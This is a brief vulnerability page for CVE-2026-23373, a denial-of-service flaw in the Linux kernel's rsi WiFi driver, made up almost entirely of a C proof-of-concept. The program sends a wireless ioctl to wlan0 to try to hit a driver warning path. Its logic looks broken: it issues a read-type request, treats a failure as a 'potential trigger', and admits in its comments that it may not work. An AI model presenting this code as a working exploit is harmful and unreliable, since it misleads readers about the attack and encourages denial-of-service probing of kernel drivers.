CVE-2026-23373 Linux内核rsi驱动拒绝服务漏洞

/* * PoC for CVE-2026-23373 * This concept demonstrates triggering the configuration path in the RSI driver. * Requires a system with the vulnerable RSI WiFi hardware and driver loaded. * Compilation: gcc -o poc_cve2026_23373 poc_cve2026_23373.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <linux/if.h> #include <linux/wireless.h> int main() { int sock; struct iwreq wrq; char ifname[] = "wlan0"; // Replace with actual interface name // Create a socket for ioctl communication sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("socket"); return 1; } // Prepare the request structure strncpy(wrq.ifr_name, ifname, IFNAMSIZ); /* * Attempt to trigger the config path. * Sending a generic or unsupported configuration command * may hit the default return -EOPNOTSUPP case in rsi_mac80211_config. * This is a simplified trigger; specific hardware interaction might be needed. */ // Example: Trying to set a parameter that might fall through to default case // Note: Actual trigger depends on specific driver implementation details. if (ioctl(sock, SIOCGIWRATE, &wrq) < 0) { perror("ioctl"); // Depending on system config, this might trigger the WARN_ON path printf("[+] Potential trigger sent to %s\n", ifname); } else { printf("[+] ioctl executed\n"); } close(sock); return 0; }
